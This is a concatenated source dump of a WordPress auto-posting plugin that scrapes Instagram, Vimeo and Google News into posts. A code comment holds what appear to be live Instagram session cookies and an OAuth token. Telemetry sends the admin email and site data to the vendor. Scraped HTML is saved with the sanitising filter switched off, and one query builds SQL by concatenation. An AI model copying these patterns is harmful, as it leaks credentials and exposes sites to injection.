      Added session is not correct or expired. Please visit the plugin settings page and add a fresh session. Also make sure not to logout of your account for the session to stay alive.' ); } if (trim ( $exec ) == '') { throw new Exception ( 'Empty results from instagram call with possible curl error:' . $x ); } // If not found if ($http_code == '404') { throw new Exception ( 'Instagram returned 404 make sure you have added a correct id. for example add "cnn" for instagram.com/cnn user' ); } ; // Verify returned result if (! stristr ( $exec, 'id' )) { throw new Exception ( 'Unexpected page content from instagram' . $x ); } // Extract the id // preg_match('{id":\s?"(.*?)"}', $exec,$matchs); preg_match ( '{profilePage_(.*?)"}', $exec, $matchs ); $possibleID = $matchs [1]; // Validate extracted id if (! is_numeric ( $possibleID ) || trim ( $possibleID ) == '') { throw new Exception ( 'Can not extract the id from instagram page' . $x ); } // Return ID return $possibleID; } /** * * @param string $itmID * id of the item for example "BGUTAhbtLrA" for https://www.instagram.com/p/BGUTAhbtLrA/ */ function getItemByID($itmID) { $this->resetCookies(); // Preparing uri //$url = "https://www.instagram.com/p/" . trim ( $itmID ) . "/?__a=1"; $url = "https://i.instagram.com/api/v1/media/" . trim ( $itmID ) . "/info/" ; // curl get $x = 'error'; curl_setopt ( $this->ch, CURLOPT_HTTPGET, 1 ); curl_setopt ( $this->ch, CURLOPT_URL, trim ( $url ) ); curl_setopt ( $this->ch, CURLOPT_REFERER, "https://www.instagram.com/p/" . trim ( $itmID ) ); $headers = array(); $headers[] = "Authority: i.instagram.com"; $headers[] = "Accept: */*"; $headers[] = "Accept-Language: en-US,en;q=0.9,ar;q=0.8"; //$headers[] = "Cookie: mid=YsLg9wAEAAE5Ic1iAxsRIgrysDDw; ig_did=5DC020C8-F2F0-4F02-BF86-06E348131584; ig_nrcb=1; fbm_124024574287414=base_domain=.instagram.com; csrftoken=BrevByaKGbvEQ2wI3mi51uvZKcftB7Ck; ds_user_id=3297820541; sessionid=3297820541%3ASVuNGspUiPBTUg%3A8%3AAYcggNy5pG_OQoV2AAINjlJsVxwV0vP1VVRilmP4sA; shbid=\"983905432978205410541688475083:01f77698d6de89764f281f44bbc80cc98d1cf27c12a40b696ec951cb4c16d0bd1493213b\"; shbts=\"165693908305432978205410541688475083:01f78c4a7a6d3c0ead33797ba8592f4632d1a4911fa813b2eaf2f04d5b8552cc2bf91df8\"; datr=7OzCYtG-7N1JExKMQdtPHLkG; fbsr_124024574287414=qhOC9YVBOmTOt5sNfWIqigKKKLQuVmCS5aXB4zTmCjs.eyJ1c2VyX2lkIjoiMTQ3NTEyMDIzNyIsImNvZGUiOiJBUUFVTm5ucW10VEphemNIN0NVTWxPV0dyZUl5cW00cF9QMzZyZmJoUi02LW5XMVM5NFNGSUFfblowYWFDQ1F0eVN4RmpHaEJhRXo2RWdHd1I3ZW11eUE2TVdzdEI4dFdvdUtjSEg2NHcycExuWU9DYWJkNGhoSVNSTlQwZGMxUGU3RV9GR19DQzIyeUE3ZDhsMllockNlamxKS1JKb0ZWVlFwNnF4WGFPYTZBTE1vUDBnNmVsNkxKcGx6RHJlM0RVV0hpTkVRbWhHWVd0MG4zNW9hYVFabjlEUTRNVXF0OTBUUDU4NjFNTTJFYU04UGlDYTlpOUNPMnJpWlZNU0NNWkV5LVNsM1pQaEIwWHNacmo2WWQtVTdpNHhjSXhLanVTU2FXaEFCTUpncUpZWXNNRVo4MXBabTY5cnhOWkZuVDlhOCIsIm9hdXRoX3Rva2VuIjoiRUFBQnd6TGl4bmpZQkFJWkM4V2U0QXg3Q3FQSlVHbVdxd1Q2RGI2WFRzekxWd1pDWkFUNGthcVpBWkM2TTdSWkFOeUNIVHZTeVBMOHp6VkJDWFlZdXVvQjdvbTRSU1ZNaGs2VVJ0NmJkMVJlbVREMmg3dHFPMVNENElkV2ZKUGptMElBTDl6MGtGWGVDU3hpT3BGTzJWNUZDUzlQZ0NQcTNrV3MyWDQyazZGS2tQakhySDVBaXhkIiwiYWxnb3JpdGhtIjoiSE1BQy1TSEEyNTYiLCJpc3N1ZWRfYXQiOjE2NTY5NTI5MzR9; rur=\"ODN05432978205410541688488973:01f7050fd3abd9af3b2797e42d5366fc1e36114f16dbf3510f0c1e12cbe0ec6bbb120344\""; $headers[] = "Origin: https://www.instagram.com"; $headers[] = "Referer: https://www.instagram.com/"; $headers[] = "Sec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\""; $headers[] = "Sec-Ch-Ua-Mobile: ?0"; $headers[] = "Sec-Ch-Ua-Platform: \"macOS\""; $headers[] = "Sec-Fetch-Dest: empty"; $headers[] = "Sec-Fetch-Mode: cors"; $headers[] = "Sec-Fetch-Site: same-site"; $headers[] = "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"; //$headers[] = "X-Asbd-Id: 198387"; //$headers[] = "X-Csrftoken: BrevByaKGbvEQ2wI3mi51uvZKcftB7Ck"; $headers[] = "X-Ig-App-Id: 936619743392459"; //$headers[] = "X-Ig-Www-Claim: hmac.AR3-365c0myQUxMUooD2u7aSW_B_FyLYH5Hmgx_m28jJvUOS"; curl_setopt($this->ch, CURLOPT_HTTPHEADER, $headers); $exec = curl_exec ( $this->ch ); $x = curl_error ( $this->ch ); $cuinfo = curl_getinfo ( $this->ch ); if (isset ( $cuinfo ['url'] ) && $this->is_not_logged_in($cuinfo ) ) { throw new Exception ( '
      Added session is not correct or expired. Please visit the plugin settings page and add a fresh session. Also make sure not to logout of your account for the session to stay alive.' ); } // Curl error check if (trim ( $exec ) == '') { throw new Exception ( 'Empty results from instagram call with possible curl error:' . $x ); } return json_decode ( $exec ); } function resetCookies(){ //echo '
      Resetting cookies....'; //workaround for IG returing error when loading items page, which adds new cookies , this one reset cookis curl_setopt( $this->ch, CURLOPT_COOKIELIST , 'ALL'); //erases all previous cookies held in memory including ds_user_id which causes the issue curl_setopt ( $this->ch, CURLOPT_COOKIE, 'sessionid=' . $this->sess . '; csrftoken=eqYUPd3nV0gDSWw43IYZjydziMndrn4l; ds_user_id=123;' ); } function is_not_logged_in($cuinfo){ $url = $cuinfo['url']; $code = $cuinfo['http_code']; if(stristr($url , 'login') || stristr($url, 'privacy/checks' ) || $code == 401 ){ return true; }else{ return false; } } } includes/helpers/helper-forms.php000064400000015341147600277620013147 0ustar00count_all( $status ); } /** * Central per page for form view * * @since 1.0.0 * @return int */ function auto_robot_form_view_per_page( $type = 'listings' ) { $global_settings = get_option('auto_robot_global_settings'); $per_page = isset($global_settings['robot-campaign-per-page']) ? $global_settings['robot-campaign-per-page'] : 10; // force at least 1 data per page if ( $per_page < 1 ) { $per_page = 1; } return apply_filters( 'auto_robot_form_per_page', $per_page, $type ); } /** * Central per page for form view * * @since 1.0.0 * @return string */ function auto_robot_get_campaign_name($id){ $model = AUTO_ROBOT_Custom_Form_Model::model()->load( $id ); $settings = $model->settings; // Return Campaign Name if ( ! empty( $settings['robot_campaign_name'] ) ) { return $settings['robot_campaign_name']; } } /** * Return campaigns last run time * * @since 1.0.0 * * @return string */ function auto_robot_campaigns_last_run( ) { $campaigns_last_run = array(); // Run campaigns job here $models = Auto_Robot_Custom_Form_Model::model()->get_all_models(); $campaigns = $models['models']; foreach($campaigns as $key=>$model){ $settings = $model->settings; if(isset($settings['last_run_time'])){ $campaigns_last_run[] = $settings['last_run_time']; } } if(!empty($campaigns_last_run)){ $last_run = max($campaigns_last_run); $return = date("F j, Y, g:i a", $last_run); }else{ $return = 'Never'; } return $return; } /** * Display category and it's child * @param $cat * @param $child_categories * @param $campaign_category */ function auto_robot_display_category($category, &$child_categories, $campaign_category){ echo ''; $catChilds = array(); if(isset($child_categories[$category->cat_ID])) $catChilds = $child_categories[$category->cat_ID]; if(count($catChilds) > 0){ foreach ($catChilds as $childCat){ auto_robot_display_category($childCat, $child_categories, $campaign_category); } } } function auto_robot_category_selected($src,$val){ if(is_array($src)){ if (in_array($val, $src)) { echo ' selected="selected" '; } } } /** * Display tag and it's child * @param $tag * @param $campaign_tag */ function auto_robot_display_tag($tag, $campaign_tag){ echo ''; } /** * Handle all pagination * * @since 1.0 * * @param int $total - the total records * @param string $type - The type of page (listings or entries) * * @return string */ function auto_robot_list_pagination( $total, $type = 'listings' ) { $pagenum = isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 0; // phpcs:ignore $page_number = max( 1, $pagenum ); $global_settings = get_option('auto_robot_global_settings'); $per_page = isset($global_settings['robot-campaign-per-page']) ? $global_settings['robot-campaign-per-page'] : 10; if ( $total > $per_page ) { $removable_query_args = wp_removable_query_args(); $current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] ); $current_url = remove_query_arg( $removable_query_args, $current_url ); $current = $page_number + 1; $total_pages = ceil( $total / $per_page ); $total_pages = absint( $total_pages ); $disable_first = false; $disable_last = false; $disable_prev = false; $disable_next = false; $mid_size = 2; $end_size = 1; $show_skip = false; if ( $total_pages > 10 ) { $show_skip = true; } if ( $total_pages >= 4 ) { $disable_prev = true; $disable_next = true; } if ( 1 === $page_number ) { $disable_first = true; } if ( $page_number === $total_pages ) { $disable_last = true; } ?>
      • = $current - $mid_size && $i <= $current + $mid_size ) || $i > $total_pages - $end_size ) ) { ?>
      get_all_models(); $campaigns = $models['models']; $activites = array(); foreach($campaigns as $key=>$model){ $id = $model->id; $title = $model->settings['robot_campaign_name']; $query = " SELECT * FROM " . $wpdb->prefix . "auto_robot_logs WHERE level = 'success' AND created > '" . $stamp . "' AND camp_id = " . $id; $wpdb->get_results($query); $count = $wpdb->num_rows; $activites[$key]['id'] = $id; $activites[$key]['title'] = $title; $activites[$key]['count'] = $count; } $posts_count = 0; foreach ( $activites as $key => $activity) { $posts_count += $activity['count']; } $site_name = ( is_multisite() ) ? get_site_option( 'site_name' ) : get_option( 'blogname' ); $ret .= '

      ' . $site_name . '

      Last '.$update_frequency.' '.$update_frequency_unit.' Report

      '; $all_campaigns = '' . count($campaigns) . 'Total Campaigns'; $total_posts = '' . $posts_count . 'Total Posts'; $ret .= '
      ' . $all_campaigns . '
      '; $ret .= '
      ' . $total_posts . '
      '; // Activities breakdown $rows = array(); $rows[] = '

      ' . __( 'Campaigns details', AUTO_ROBOT::DOMAIN ) . '

      '; if ( $activites ) { foreach ( $activites as $key => $activity) { $rows[] = '' . $activity['title'] . '' . $activity['count'] . ' posts'; } } $ret .= '' . implode( '', $rows ) . '
      '; $ret = '
      ' . $ret . '
      '; return $ret; } /** * * Send notification letter * * @param string $type Notification type * @param string|array $msg Additional message * * @return bool */ function auto_robot_send_email( $type = '', $msg = '' ) { if ( ! $type ) { return false; } $html_mode = true; $subj = '[' . get_option( 'blogname' ) . '] ' . __( 'Auto Robot notify', Auto_Robot::DOMAIN ) . ': '; $body = ''; if ( is_array( $msg ) ) { $msg = implode( "\n\n", $msg ); } switch ( $type ) { case 'report': $html_mode = true; $subj = '[' . get_option( 'blogname' ) . '] WP Auto Robot: ' . __( 'Stats Report', Auto_Robot::DOMAIN ); $body = auto_robot_generate_report(); $link = admin_url( 'admin.php?page=auto-robot-settings' ); $body .= '
      ' . __( 'To change reporting settings visit', Auto_Robot::DOMAIN ) . ' ' . $link . ''; $body .= $msg; break; case 'new_version': $subj = __( 'A new version of Auto Robot is available to install', Auto_Robot::DOMAIN ); $body = __( 'Hi!', Auto_Robot::DOMAIN ) . "\n\n"; $body .= __( 'A new version of Auto Robot is available to install', Auto_Robot::DOMAIN ) . "\n\n"; $body .= $msg . "\n\n"; $body .= __( 'Website', Auto_Robot::DOMAIN ) . ': ' . get_option( 'blogname' ); break; } $to_list = auto_robot_get_email( $type, true ); $to = implode( ', ', $to_list ); $footer = ''; $footer .= "\n\n\n" . __( 'This message was sent by', Auto_Robot::DOMAIN ) . ' Auto Robot ' . AUTO_ROBOT_VERSION . "\n"; $footer .= 'https://wpautorobot.com/pricing'; if ( $html_mode ) { add_filter( 'wp_mail_content_type', 'auto_robot_enable_html' ); $footer = str_replace( "\n", '
      ', $footer ); } // Everything is prepared, let's send it out $result = null; if ( $to && $subj && $body ) { if ( function_exists( 'wp_mail' ) ) { $body = $body . $footer; if ( $html_mode ) { $body = '' . $body . ''; } $result = wp_mail( $to, $subj, $body ); } } remove_filter('wp_mail_content_type', 'auto_robot_enable_html'); return $result; } /** * @param string $type Type of notification email * @param bool $array Return as an array * * @return array|string Email address(es) for notifications */ function auto_robot_get_email( $type = '', $array = false ) { $email = ''; if ( empty( $email ) ) { $email = get_site_option( 'admin_email' ); if ( $array ) { $email = array( $email ); } } return $email; } function auto_robot_enable_html() { return 'text/html'; }includes/helpers/helper-user-data.php000064400000012237147600277620013707 0ustar00= 3.4 ) { $active_theme = wp_get_theme(); $theme_details['theme_name'] = strip_tags( $active_theme->name ); $theme_details['theme_version'] = strip_tags( $active_theme->version ); $theme_details['author_url'] = strip_tags( $active_theme->{'Author URI'} ); } $plugin_stat_data = array(); $plugin_stat_data['plugin_slug'] = 'auto-robot-lite'; $plugin_stat_data['type'] = 'standard_edition'; $plugin_stat_data['version_number'] = AUTO_ROBOT_VERSION; $plugin_stat_data['event'] = 'activate'; $plugin_stat_data['domain_url'] = site_url(); $plugin_stat_data['wp_language'] = defined( 'WPLANG' ) && WPLANG ? WPLANG : get_locale(); $plugin_stat_data['email'] = get_option( 'admin_email' ); $plugin_stat_data['wp_version'] = $wp_version; $plugin_stat_data['php_version'] = sanitize_text_field( phpversion() ); $plugin_stat_data['mysql_version'] = $wpdb->db_version(); $plugin_stat_data['max_input_vars'] = ini_get( 'max_input_vars' ); $plugin_stat_data['operating_system'] = PHP_OS . ' (' . PHP_INT_SIZE * 8 . ') BIT'; $plugin_stat_data['php_memory_limit'] = ini_get( 'memory_limit' ) ? ini_get( 'memory_limit' ) : 'N/A'; $plugin_stat_data['extensions'] = get_loaded_extensions(); $plugin_stat_data['plugins'] = auto_robot_get_plugin_info(); $plugin_stat_data['themes'] = $theme_details; $url = WPHOBBY_STATS_URL . '/index.php?rest_route=/wphobby/v1/user/post/'; $response = wp_safe_remote_post( $url, array( 'method' => 'POST', 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array(), 'body' => json_encode($plugin_stat_data), ) ); if ( ! is_wp_error( $response ) ) { return $response['body']; } die( 'success' ); } /** * Get plugin info * * @since 1.0.0 */ function auto_robot_get_plugin_info() { $active_plugins = (array) get_option( 'active_plugins', array() ); if ( is_multisite() ) { $active_plugins = array_merge( $active_plugins, get_site_option( 'active_sitewide_plugins', array() ) ); } $plugins = array(); if ( count( $active_plugins ) > 0 ) { $get_plugins = array(); foreach ( $active_plugins as $plugin ) { $plugin_data = @get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );// @codingStandardsIgnoreLine $get_plugins['plugin_name'] = strip_tags( $plugin_data['Name'] ); $get_plugins['plugin_author'] = strip_tags( $plugin_data['Author'] ); $get_plugins['plugin_version'] = strip_tags( $plugin_data['Version'] ); array_push( $plugins, $get_plugins ); } return $plugins; } } /** * Envato user identity verify * * @since 1.0.0 * @return string */ function auto_robot_envato_verify($code, $action){ global $wp_version, $wpdb; $theme_details = array(); if ( $wp_version >= 3.4 ) { $active_theme = wp_get_theme(); $theme_details['theme_name'] = strip_tags( $active_theme->name ); $theme_details['theme_version'] = strip_tags( $active_theme->version ); $theme_details['author_url'] = strip_tags( $active_theme->{'Author URI'} ); } $plugin_stat_data = array(); $plugin_stat_data['plugin_slug'] = 'auto-robot-premium'; $plugin_stat_data['version_number'] = AUTO_ROBOT_VERSION; $plugin_stat_data['event'] = 'activate'; $plugin_stat_data['domain_url'] = site_url(); $plugin_stat_data['domain'] = parse_url( site_url(), PHP_URL_HOST ); $plugin_stat_data['wp_language'] = defined( 'WPLANG' ) && WPLANG ? WPLANG : get_locale(); $plugin_stat_data['email'] = get_option( 'admin_email' ); $plugin_stat_data['wp_version'] = $wp_version; $plugin_stat_data['php_version'] = sanitize_text_field( phpversion() ); $plugin_stat_data['mysql_version'] = $wpdb->db_version(); $plugin_stat_data['max_input_vars'] = ini_get( 'max_input_vars' ); $plugin_stat_data['operating_system'] = PHP_OS . ' (' . PHP_INT_SIZE * 8 . ') BIT'; $plugin_stat_data['php_memory_limit'] = ini_get( 'memory_limit' ) ? ini_get( 'memory_limit' ) : 'N/A'; $plugin_stat_data['extensions'] = get_loaded_extensions(); $plugin_stat_data['plugins'] = auto_robot_get_plugin_info(); $plugin_stat_data['themes'] = $theme_details; $plugin_stat_data['action'] = $action; $plugin_stat_data['code'] = $code; $url = WPHOBBY_STATS_URL . '/index.php?rest_route=/wphobby/v1/user/envato/'; $response = wp_safe_remote_post( $url, array( 'method' => 'POST', 'timeout' => 20, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array(), 'body' => json_encode($plugin_stat_data), ) ); if ( ! is_wp_error( $response ) ) { return $response['body']; } die( 'success' ); }includes/helpers/helper-addons.php000064400000002677147600277620013301 0ustar00get_addons(); $connected_addons = array(); $not_connected_addons = array(); foreach ( $addons_list as $key => $addon ) { if ( $addon['is_connected'] ) { $connected_addons[] = $addon; } else { $not_connected_addons[] = $addon; } } return array( 'connected' => $connected_addons, 'not_connected' => $not_connected_addons, ); } /** * Load popup template * * @since 1.0.0 * @return string */ function auto_robot_load_popup($template){ $file = AUTO_ROBOT_DIR . "/admin/views/integrations/popups/$template.php"; $content = ''; if ( is_file( $file ) ) { ob_start(); include $file; $content = ob_get_clean(); } return $content; } /** * Save addon api data * * @since 1.0.0 * @return string */ function auto_robot_save_addon_data($data){ Auto_Robot_Addon_Loader::get_instance()->save_addon_data($data); } /** * Get addon api data * * @since 1.0.0 * @return string */ function auto_robot_get_addon_data($slug){ $data = Auto_Robot_Addon_Loader::get_instance()->get_addon_data($slug); return $data; } includes/helpers/helper-logs.php000064400000004200147600277620012755 0ustar00 '', 'level' => '', 'orderby' => 'created', 'order' => 'DESC', 'per_page' => 20, 'page' => 1, 'offset' => 0, ); $args = wp_parse_args( $args, $default ); $query_from = "FROM {$wpdb->prefix}auto_robot_logs"; $query_where = 'WHERE 1=1'; if(!empty( $args['level'])){ $level = strtoupper( $args['level']); $query_where .= $wpdb->prepare( " AND level=%s ", $level); } //ordering $order = isset( $args['order'] ) ? esc_sql( strtoupper( $args['order'] ) ) : 'ASC'; $order_by = esc_sql( $args['orderby'] ); $query_orderby = sprintf( " ORDER BY %s %s", $order_by, $order ); if($args['orderby'] !== 'id'){ $query_orderby .= ' , id DESC '; } // limit if ( isset( $args['per_page'] ) && $args['per_page'] > 0 ) { if ( $args['offset'] ) { $query_limit = $wpdb->prepare( 'LIMIT %d, %d', $args['offset'], $args['per_page'] ); } else { $query_limit = $wpdb->prepare( 'LIMIT %d, %d', $args['per_page'] * ( $args['page'] - 1 ), $args['per_page'] ); } } if ( $count ) { return $wpdb->get_var( "SELECT count({$wpdb->prefix}auto_robot_logs.id) $query_from $query_where" ); } return $wpdb->get_results( "SELECT * $query_from $query_where $query_orderby $query_limit" ); } /** * Clear logs * * @since 1.1.0 */ function auto_robot_clear_logs(){ global $wpdb; $table = $wpdb->prefix.'auto_robot_logs'; $return = $wpdb->query( "TRUNCATE TABLE $table" ); return $return; } includes/helpers/helper-fields.php000064400000000607147600277620013266 0ustar00id = $id; $this->get_api_data($type); $this->keyword = $keyword; $this->settings = $settings; $this->logger = new Auto_Robot_Log($id); } /** * Run this job * * @return array */ public function run(){ // Fetch Facebook Data $data = $this->fetch_data(); // Create new post when return data is not null if(!is_null($data)) { $title = $data['title']; $video_url = $data['link']; $video_id = str_replace('https://vimeo.com/', '', $video_url); $this->log[] = array( 'message' => 'Fetch Vimeo Title: ' . $title, 'level' => 'log' ); $this->log[] = array( 'message' => 'Fetch Vimeo URL: ' . $video_url . '', 'level' => 'log' ); // Build post content $content = ''; $content .= '
      source'; // Generate New Post $new_post = $this->create_post($title, $content, $this->settings); // // if post title duplicate create post again // if (false === $new_post['error']) { // $this->run(); // } } // Add this job running log to system log file foreach($this->log as $key => $value){ $this->logger->add($value['message'], $value['level']); } return $this->log; } /** * fetch_data * * @return array */ public function fetch_data() { $api_data = $this->api_data; $access_token = $api_data['access_token']; $url = 'https://api.vimeo.com/videos?'; $req_params = [ 'query' => urlencode($this->keyword), 'page' => 1, 'per_page' => 50, 'sort' => 'relevant', 'direction' => 'desc' ]; $url .= http_build_query($req_params); // vimeo api need http bearer authentication $header = array( 'Authorization' => 'Bearer ' . $access_token ); // fetch url json data $return_data = $this->fetch_stream( $url, $header ); $result = json_decode($return_data, true); $data = $result['data']; $output = array_slice($data, 0, 20); $videos = array(); foreach($output as $key => $value){ $videos[$key]['title'] = $value['name']; $videos[$key]['created_time'] = $value['created_time']; $videos[$key]['link'] = $value['link']; $videos[$key]['embed'] = $value['embed']['html']; } $rand = rand(0, 49); return $videos[$rand]; } } endif; includes/jobs/abstract-class-job.php000064400000031260147600277620013513 0ustar00settings['robot_selected_source']) && $this->settings['robot_selected_source'] === 'rss'){ if(isset($this->settings['robot_words_limit']) && !empty($this->settings['robot_words_limit'])){ $content = substr($content, 0, $this->settings['robot_words_limit']); } } if(isset($this->settings['robot_before_post_content']) && !empty($this->settings['robot_before_post_content'])){ $content = $this->settings['robot_before_post_content'].'
      '.$content; } if(isset($this->settings['robot_after_post_content']) && !empty($this->settings['robot_after_post_content'])){ $content = $content.'
      '.$this->settings['robot_after_post_content']; } // cache image on local server if($settings['robot_save_image'] == 'on'){ preg_match_all ( '/]*src=["|\']([^"|\']+)/i', stripslashes ( $content ), $matches ); $srcs = $matches [1]; $srcs = array_unique ( $srcs ); $current_host = parse_url ( home_url (), PHP_URL_HOST ); $first_image_cache = true; // copy of the first image if used for the featured image foreach ( $srcs as $image_url ) { // check inline images if (stristr ( $image_url, 'data:image' )) { continue; } // instantiate so we replace . note we modify image_url $image_url_original = $image_url; // decode html entitiies $image_url = html_entity_decode ( $image_url ); // file name to store $filename = basename ( $image_url ); if (stristr ( $image_url, '%' ) || stristr ( $filename, '%' )) { $filename = urldecode ( $filename ); } if (stristr ( $image_url, ' ' )) { $image_url = str_replace ( ' ', '%20', $image_url ); } $imghost = parse_url ( $image_url, PHP_URL_HOST ); if (stristr ( $imghost, 'http://' )) { $imgrefer = $imghost; } else { $imgrefer = 'http://' . $imghost; } if ($imghost != $current_host) { $file_link = auto_robot_upload_image($image_url, $filename); // replace original src with new file link $content = str_replace ( $image_url_original, $file_link, $content ); } } //end foreach images } $post_data = array(); $post_data['post_title'] = $title; $post_data['post_content'] = $content; $post_data['post_type'] = $settings['robot_post_type']; $post_data['post_status'] = $settings['robot_post_status']; $post_author = get_user_by('login',$settings['robot_post_author']); $post_data['post_author'] = $post_author->ID; $post_data['post_category'] = $this->settings['robot-post-category']; // get tags name $tags = array(); $tag_ids = $this->settings['robot-post-tag']; foreach($tag_ids as $tag_id){ $tag = get_tag($tag_id); $tags[] = $tag->name; } $post_data['tags_input'] = array_values( $tags );; return $post_data; } /** * Create Post * @param string $title * @param string $content * @param array $settings * @return array * @since 1.0.0 */ public function create_post($title, $content, $settings = array(), $image_url=''){ // check errors $new_post = array('id' => false, 'error' => false, 'permalink' => ''); // check if post title duplicate if($this->is_title_duplicate($title)){ $this->log[] = array( 'message' => 'Title Duplicate ' . $title, 'level' => 'log' ); $this->log[] = array( 'message' => 'There is no new post from this source, Auto Robot will generate new post again when this source have update', 'level' => 'log' ); $new_post['error'] = 'post title duplicate.'; return $new_post; } $post_data = $this->prepare_post($title, $content, $settings); // before saving post remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses'); // save code here $new_post['id'] = wp_insert_post($post_data); // after saving post add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses'); $post_id = isset($new_post['id']) ? $new_post['id'] : null; if (!$post_id) { $new_post['error'] = 'post-fail'; }else{ $new_post['permalink'] = get_permalink( $post_id ); // Set post feature image if($settings['robot_feature_image'] == 'on'){ $this->set_post_feature_image($post_id, $image_url); } } if(false === $new_post['error']){ $this->log[] = array( 'message' => 'Post New Post Success: '.$title.'', 'level' => 'success' ); }else{ $this->log[] = array( 'message' => 'Generate New Post Error: '.$new_post['error'], 'level' => 'error' ); } return $new_post; } /** * Set post feature image * @param int $parent_post_id * @return bool * @since 1.0.0 */ public function set_post_feature_image($post_id, $image_url){ // Add Featured Image to Post $image_name = 'wp-header-logo.png'; $upload_dir = wp_upload_dir(); // Set upload folder $image_data = file_get_contents($image_url); // Get image data $unique_file_name = wp_unique_filename( $upload_dir['path'], $image_name ); // Generate unique name $filename = basename( $unique_file_name ); // Create image file name // Check folder permission and define file location if( wp_mkdir_p( $upload_dir['path'] ) ) { $file = $upload_dir['path'] . '/' . $filename; } else { $file = $upload_dir['basedir'] . '/' . $filename; } // Create the image file on the server file_put_contents( $file, $image_data ); // Check image file type $wp_filetype = wp_check_filetype( $filename, null ); // Set attachment data $attachment = array( 'post_mime_type' => $wp_filetype['type'], 'post_title' => sanitize_file_name( $filename ), 'post_content' => '', 'post_status' => 'inherit' ); // Create the attachment $attach_id = wp_insert_attachment( $attachment, $file, $post_id ); // Include image.php require_once(ABSPATH . 'wp-admin/includes/image.php'); // Define attachment metadata $attach_data = wp_generate_attachment_metadata( $attach_id, $file ); // Assign metadata to attachment wp_update_attachment_metadata( $attach_id, $attach_data ); // And finally assign featured image to post set_post_thumbnail( $post_id, $attach_id ); } /** * check if post title already exists * @param string $title * @return bool * @since 1.0.0 */ public function is_title_duplicate($title){ if( get_page_by_title( $title, 'OBJECT', 'post' ) ){ return true; }else{ return false; } } /** * Get API Data. * * @since 1.0.0 */ public function get_api_data($type) { $this->api_data = Auto_Robot_Addon_Loader::get_instance()->get_addon_data($type); } /** * Fetch stream bt HTTP GET Method * * @param string $url * @return string */ public function fetch_stream( $url, $headers = array()) { // build http request args $args = array( 'headers' => $headers, 'timeout' => '20' ); $request = wp_remote_get( $url, $args ); // return an empty array when error happen on remote get $empty_response = array(); // retrieve the body from the raw response $json_posts = wp_remote_retrieve_body( $request ); // log error messages if ( is_wp_error( $request ) ) { $this->log[] = array( 'message' => 'Fetching failed with WP_Error: '. $request->errors['http_request_failed'][0], 'level' => 'warn' ); return $empty_response; } if ( $request['response']['code'] != 200 ) { $this->log[] = array( 'message' => 'Fetching failed with code: ' . $request['response']['code'], 'level' => 'error' ); $response_body = json_decode($request['body']); $this->log[] = array( 'message' => 'Fetching failed with error message: ' . $response_body->error->message, 'level' => 'error' ); $this->log[] = array( 'message' => 'Note: Please Remember to Setup Youtube API before run this campaign', 'level' => 'error' ); return $empty_response; } return $json_posts; } /** * Fetch stream bt HTTP POST Method * * @param string $url * @return string */ public function fetch_post( $url, $headers = array(), $body = array()) { // build http request args $args = array( 'headers' => $headers, 'body' => $body, 'method' => 'POST', 'timeout' => 45, ); $request = wp_remote_post( $url, $args ); // retrieve the body from the raw response $json_posts = wp_remote_retrieve_body( $request ); // log error messages if ( is_wp_error( $request ) ) { $this->log[] = array( 'message' => 'Fetching failed with WP_Error: '. $request->errors['http_request_failed'][0], 'level' => 'warn' ); return $request; } if ( $request['response']['code'] != 200 ) { $this->log[] = array( 'message' => 'Fetching failed with code: ' . $request['response']['code'], 'level' => 'error' ); return false; } return $json_posts; } } endif; includes/jobs/class-search-job.php000064400000025214147600277620013157 0ustar00id = $id; $this->keyword = $keyword; $this->settings = $settings; $this->logger = new Auto_Robot_Log($id); $this->log = array(); } /** * Run this job * * @return array */ public function run(){ $response = array(); // Fetch Data $data = $this->fetch_data(); if(is_object($data)){ $this->log[] = array( 'message' => $data->errors['simplepie-error'][0], 'level' => 'error' ); }else{ $title = $data['title']; // Build post content $content = $data['content'].'
      '; $content .= '
      source'; // Generate New Post $this->create_post($title, $content, $this->settings, $data['featured_image']); } // Add this job running log to system log file foreach($this->log as $key => $value){ $this->logger->add($value['message'], $value['level']); } return $this->log; } /** * Fetch Data * * @return array */ public function fetch_data() { $robot_init_language = str_replace('_', ':' ,$this->settings['robot_init_language']); $pieces = explode(":", $robot_init_language); $country_code = $pieces[0]; $language_code = $pieces[1]; // Search google news feed by keyword $url = 'https://news.google.com/rss/search?'; $req_params = [ 'q' => $this->keyword, 'hl' => $language_code, 'gl' => $country_code, 'ceid' => $robot_init_language, ]; $url .= http_build_query($req_params); // Get RSS Feed(s) include_once( ABSPATH . WPINC . '/feed.php' ); // Get a SimplePie feed object from the specified feed source. $rss = fetch_feed( $url ); $maxitems = 0; // Checks that the object is created correctly if ( ! is_wp_error( $rss ) ) { // Figure out how many total items there are, but limit it to 5. $maxitems = $rss->get_item_quantity(); $this->log[] = array( 'message' => 'Feed contains '.$maxitems.' total items', 'level' => 'log' ); // Build an array of all the items, starting with element 0 (first element). $rss_items = $rss->get_items(0, $maxitems); foreach($rss_items as $item){ if(!is_null($item) && !$this->is_title_duplicate($item->get_title())){ $single_item = $item; } } $return = array(); if(!is_null($single_item)){ // translate title $return['title'] = $single_item->get_title(); $return['link'] = $single_item->get_permalink(); $return['content'] = $single_item->get_content(); // Fetch origin content $original_content = $this->fetch_stream( $return['link'] ); $sourceHref = ''; if(!empty($original_content)){ // Parse DOM HTML // Create DOM from URL or file $html = str_get_html($original_content); if($html){ $element = $html->find('a', 0); $sourceHref = $element->href; } } // Fetch origin content $article_content = $this->fetch_stream( $sourceHref ); $return['featured_image'] = $this->get_og_image($article_content); if(!empty($article_content)){ // Parse DOM HTML // Create DOM from URL or file $html = str_get_html($article_content); if($html){ $main_content = ''; // get each paragraph foreach($html->find('p') as $element) { $innertext = $element->innertext; $main_content .= $innertext . '
